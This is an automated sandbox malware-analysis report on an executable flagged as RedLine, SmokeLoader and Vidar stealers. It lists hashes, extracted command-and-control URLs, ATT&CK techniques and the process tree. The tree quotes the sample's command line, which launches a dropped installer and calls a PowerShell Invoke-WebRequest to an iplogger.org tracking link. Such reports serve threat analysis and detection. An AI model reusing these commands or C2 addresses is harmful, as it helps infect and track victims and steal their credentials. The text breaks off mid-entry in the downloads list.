redline | e6bc2a8fe0c10166a4ddad7cb804b6298d91c52c7ddd114902958639257c9f27

Analysis

max time kernel
165s
max time network
165s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
11-02-2022 02:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e6bc2a8fe0c10166a4ddad7cb804b6298d91c52c7ddd114902958639257c9f27.exe
Size

8KB
MD5

f4c9178895e50ad8d4cdc8c6298ed6ef
SHA1

3cd35638dcdccf62f7940da5676dfb5957251797
SHA256

e6bc2a8fe0c10166a4ddad7cb804b6298d91c52c7ddd114902958639257c9f27
SHA512

f1d06872e632cb29819412c4ede205a0c3c75bdf9e17bb5784f8acfe81811a2a797bceaf55ef4802d77c1ba1dd9f4eab4d95919f83641e30ceb8fa6718a17a02

Score

10^/10

redline smokeloader vidar 754 backdoor discovery infostealer spyware stealer trojan

Malware Config

Extracted

Family

smokeloader

Version

2020

http://185.215.113.40/

http://1fdsdfsdfdsf.space/

http://2fds33rdsrsdrs.space/

http://3fds4544gfgf.space/

http://4jgfdjgdh5fds.space/

http://5gfdtktkkt44.space/

rc4.i32

Extracted

Family

vidar

Version

50.1

Botnet

754

https://mastodon.online/@k1llerniax

https://koyu.space/@k1llerni2x

Attributes

profile_id
754

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3408-138-0x0000000000910000-0x0000000000A68000-memory.dmp	family_redline
behavioral2/memory/3408-140-0x0000000000912000-0x0000000000943000-memory.dmp	family_redline
behavioral2/memory/3408-142-0x0000000000912000-0x0000000000943000-memory.dmp	family_redline
behavioral2/memory/3408-149-0x0000000000910000-0x0000000000A68000-memory.dmp	family_redline
behavioral2/memory/3408-150-0x0000000000910000-0x0000000000A68000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Vidar Stealer 2 IoCs

stealer

Processes:

resource	yara_rule
behavioral2/memory/1096-190-0x0000000000400000-0x00000000004B0000-memory.dmp	family_vidar
behavioral2/memory/1096-192-0x0000000000400000-0x00000000004B0000-memory.dmp	family_vidar

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

67 1660 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 5 IoCs

Processes:

LzmwAqmV.exeinstaler.exesr8vs.exesrvs.exesrvs.exe

pid process

3908 LzmwAqmV.exe
3408 instaler.exe
2240 sr8vs.exe
556 srvs.exe
1096 srvs.exe

flow	pid	process
67	1660	powershell.exe

pid	process
3908	LzmwAqmV.exe
3408	instaler.exe
2240	sr8vs.exe
556	srvs.exe
1096	srvs.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

e6bc2a8fe0c10166a4ddad7cb804b6298d91c52c7ddd114902958639257c9f27.exeinstaler.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	e6bc2a8fe0c10166a4ddad7cb804b6298d91c52c7ddd114902958639257c9f27.exe
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	instaler.exe

Loads dropped DLL 3 IoCs

Processes:

LzmwAqmV.exesrvs.exe

pid process

3908 LzmwAqmV.exe
1096 srvs.exe
1096 srvs.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

instaler.exe

pid process

3408 instaler.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

srvs.exe

description pid process target process

PID 556 set thread context of 1096 556 srvs.exe srvs.exe

pid	process
3908	LzmwAqmV.exe
1096	srvs.exe
1096	srvs.exe

description	pid	process	target process
PID 556 set thread context of 1096	556	srvs.exe	srvs.exe

Drops file in Windows directory 1 IoCs

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\keyValueLKG.dat	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

NSIS installer 4 IoCs

installer

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe	nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe	nsis_installer_2
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe	nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe	nsis_installer_2

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

sr8vs.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sr8vs.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sr8vs.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sr8vs.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

MusNotifyIcon.exe

description	ioc	process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MusNotifyIcon.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MusNotifyIcon.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 45 IoCs

Processes:

svchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadPendingCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadPendingCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCacheHostBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\GroupConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkUsageBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\BkDownloadRatePct = "45"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthlyUploadRestriction = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DownloadMode_BackCompat = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyLanBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrCnt = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\Geo_EndpointFullUri = "https://geo.prod.do.dsp.mp.microsoft.com/geo"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\GeoVersion_EndpointFullUri = "https://geover.prod.do.dsp.mp.microsoft.com/geoversion"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LinkLocalConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadCount = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkUsageBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DODownloadMode = "1"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkCnt = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\FrDownloadRatePct = "90"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadRatePct = "100"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadCount = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "5.933195"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLanBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLinkLocalBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PeerInfoCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LANConnectionCount = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\KVFileExpirationTime = "132891968568010506"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyGroupBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthID = "2"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CacheSizeBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CDNConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\InternetConnectionCount = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyInternetBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyInternetBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4076"	svchost.exe

Modifies registry class 3 IoCs

Processes:

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\
Key created	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

instaler.exepowershell.exesr8vs.exemsedge.exe

pid	process
3408	instaler.exe
3408	instaler.exe
1660	powershell.exe
1660	powershell.exe
3408	instaler.exe
2240	sr8vs.exe
2240	sr8vs.exe
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2804	msedge.exe
2804	msedge.exe
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372
2372

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

sr8vs.exe

pid process

2240 sr8vs.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

Processes:

msedge.exe

pid process

2284 msedge.exe
2284 msedge.exe

pid	process
2240	sr8vs.exe

pid	process
2284	msedge.exe
2284	msedge.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

e6bc2a8fe0c10166a4ddad7cb804b6298d91c52c7ddd114902958639257c9f27.exepowershell.exeinstaler.exesrvs.exe

description	pid	process
Token: SeDebugPrivilege	3860	e6bc2a8fe0c10166a4ddad7cb804b6298d91c52c7ddd114902958639257c9f27.exe
Token: SeDebugPrivilege	1660	powershell.exe
Token: SeDebugPrivilege	3408	instaler.exe
Token: SeDebugPrivilege	556	srvs.exe
Token: SeShutdownPrivilege	2372
Token: SeCreatePagefilePrivilege	2372
Token: SeShutdownPrivilege	2372
Token: SeCreatePagefilePrivilege	2372

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

msedge.exe

pid process

2372
2372
2284 msedge.exe

pid	process
2372
2372
2284	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

e6bc2a8fe0c10166a4ddad7cb804b6298d91c52c7ddd114902958639257c9f27.exeLzmwAqmV.execmd.exeinstaler.exesrvs.exemsedge.exe

description	pid	process	target process
PID 3860 wrote to memory of 3908	3860	e6bc2a8fe0c10166a4ddad7cb804b6298d91c52c7ddd114902958639257c9f27.exe	LzmwAqmV.exe
PID 3860 wrote to memory of 3908	3860	e6bc2a8fe0c10166a4ddad7cb804b6298d91c52c7ddd114902958639257c9f27.exe	LzmwAqmV.exe
PID 3860 wrote to memory of 3908	3860	e6bc2a8fe0c10166a4ddad7cb804b6298d91c52c7ddd114902958639257c9f27.exe	LzmwAqmV.exe
PID 3908 wrote to memory of 3628	3908	LzmwAqmV.exe	cmd.exe
PID 3908 wrote to memory of 3628	3908	LzmwAqmV.exe	cmd.exe
PID 3908 wrote to memory of 3628	3908	LzmwAqmV.exe	cmd.exe
PID 3628 wrote to memory of 3408	3628	cmd.exe	instaler.exe
PID 3628 wrote to memory of 3408	3628	cmd.exe	instaler.exe
PID 3628 wrote to memory of 3408	3628	cmd.exe	instaler.exe
PID 3628 wrote to memory of 1660	3628	cmd.exe	powershell.exe
PID 3628 wrote to memory of 1660	3628	cmd.exe	powershell.exe
PID 3628 wrote to memory of 1660	3628	cmd.exe	powershell.exe
PID 3408 wrote to memory of 2240	3408	instaler.exe	sr8vs.exe
PID 3408 wrote to memory of 2240	3408	instaler.exe	sr8vs.exe
PID 3408 wrote to memory of 2240	3408	instaler.exe	sr8vs.exe
PID 3408 wrote to memory of 556	3408	instaler.exe	srvs.exe
PID 3408 wrote to memory of 556	3408	instaler.exe	srvs.exe
PID 3408 wrote to memory of 556	3408	instaler.exe	srvs.exe
PID 556 wrote to memory of 1096	556	srvs.exe	srvs.exe
PID 556 wrote to memory of 1096	556	srvs.exe	srvs.exe
PID 556 wrote to memory of 1096	556	srvs.exe	srvs.exe
PID 3408 wrote to memory of 2284	3408	instaler.exe	msedge.exe
PID 3408 wrote to memory of 2284	3408	instaler.exe	msedge.exe
PID 556 wrote to memory of 1096	556	srvs.exe	srvs.exe
PID 556 wrote to memory of 1096	556	srvs.exe	srvs.exe
PID 556 wrote to memory of 1096	556	srvs.exe	srvs.exe
PID 556 wrote to memory of 1096	556	srvs.exe	srvs.exe
PID 556 wrote to memory of 1096	556	srvs.exe	srvs.exe
PID 556 wrote to memory of 1096	556	srvs.exe	srvs.exe
PID 2284 wrote to memory of 3836	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 3836	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe
PID 2284 wrote to memory of 2112	2284	msedge.exe	msedge.exe

C:\Users\Admin\AppData\Local\Temp\e6bc2a8fe0c10166a4ddad7cb804b6298d91c52c7ddd114902958639257c9f27.exe
"C:\Users\Admin\AppData\Local\Temp\e6bc2a8fe0c10166a4ddad7cb804b6298d91c52c7ddd114902958639257c9f27.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3860

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3908

C:\Windows\SysWOW64\cmd.exe
"cmd" /c start "" "instaler.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1mbth7"
3⤵
- Suspicious use of WriteProcessMemory
PID:3628

C:\Users\Admin\AppData\Local\Temp\instaler.exe
"instaler.exe"
4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3408

C:\Users\Admin\AppData\Local\Temp\sr8vs.exe
"C:\Users\Admin\AppData\Local\Temp\sr8vs.exe"
5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2240

C:\Users\Admin\AppData\Local\Temp\srvs.exe
"C:\Users\Admin\AppData\Local\Temp\srvs.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:556

C:\Users\Admin\AppData\Local\Temp\srvs.exe
C:\Users\Admin\AppData\Local\Temp\srvs.exe
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1096

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1mQrh7
5⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2284

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc523f46f8,0x7ffc523f4708,0x7ffc523f4718
6⤵
PID:3836

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2080,7377109164059268421,4723848049245815638,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1456 /prefetch:2
6⤵
PID:2112

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2080,7377109164059268421,4723848049245815638,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 /prefetch:3
6⤵
- Suspicious behavior: EnumeratesProcesses
PID:2804

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2080,7377109164059268421,4723848049245815638,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2848 /prefetch:8
6⤵
PID:3840

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,7377109164059268421,4723848049245815638,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3804 /prefetch:1
6⤵
PID:648

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,7377109164059268421,4723848049245815638,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3844 /prefetch:1
6⤵
PID:2156

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1mbth7"
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1660

C:\Windows\system32\MusNotifyIcon.exe
%systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 13
1⤵
- Checks processor information in registry
PID:1292

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:3620

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3820

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\mozglue.dll
MD5
8f73c08a9660691143661bf7332c3c27

SHA1
37fa65dd737c50fda710fdbde89e51374d0c204a

SHA256
3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

SHA512
0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

Download Submit
C:\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

Download Submit
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
MD5
a127cd03f62992cb6f71881e974291a0

SHA1
83fd2d6dc93cdc12cd403190e64e3bd75f28680f

SHA256
3e4b52800a04a378dcf60ae3a6f21ef9050857991ecb8b093fa728cc50c46c49

SHA512
666785e66c5b025b5f0ff1f115583014126cf8abf64d948801a16db01bca58b255b80e577b7f838edf0708e8bc4bd527a7cd01beb7303b384bbea6a707d6c36e

Download Submit
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
MD5
a127cd03f62992cb6f71881e974291a0

SHA1
